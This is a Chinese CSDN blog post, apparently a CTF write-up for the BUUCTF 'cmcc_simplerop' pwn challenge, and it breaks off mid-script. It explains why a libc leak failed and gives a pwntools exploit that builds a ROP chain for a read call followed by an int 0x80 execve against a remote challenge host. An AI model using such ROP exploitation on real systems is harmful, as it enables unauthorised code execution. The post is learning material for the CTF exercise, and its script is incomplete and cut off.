20.5.23pwn做题记录

本文记录了在CMCC_SimplerOP挑战中遇到的问题及解决方案,涉及自定义puts函数、使用int 80h调用系统函数以及构造ROP链。在win2函数中,通过理解运算符优先级解决了参数问题。最后提到了picoctf的两个缓冲区溢出题目,分别是基本的栈溢出和类似ROP链的解题方法。
摘要由CSDN通过智能技术生成

cmcc_simplerop
一开始以为是用里面定义的"puts函数"打印函数地址做的,然后失败了:LibcSearcher找不到匹配的libc,猜测可能是因为他的"puts"函数是自定义的(因为没有在plt表中),所以打印出的地址不正确?
既然不能像以前一样使用system函数,那就再试一下int 80h结果真有函数在这里插入图片描述
然后就是编写exp了

from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./sim')
sh=remote('node3.buuoj.cn',26536)
elf=ELF('./sim')

context.log_level='debug'
 
#puts_addr=0x804F640这里是一开始想通过strcmp的地址找libc的但不知道为什么失败了
#cmsp_got=0x80EA034
main_addr=0x8048E24
pop_di=0x804846f
read_addr=0x806CD50
data=0x80e9000
pop3_addr=0x0804838c
pop_ax=0x080bae06
pop_dx_cx_bx=0x0806e850

payload1='a'*32+p32(read_addr)+p32(pop3_addr)+p32(0)+p32(data)+p32(8)+p32(pop_ax)+p32(0xb)+p32(pop_dx_cx_bx)+p32(0)+p32(0)+p32(data)+p32(0x080493e1)

payload2
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值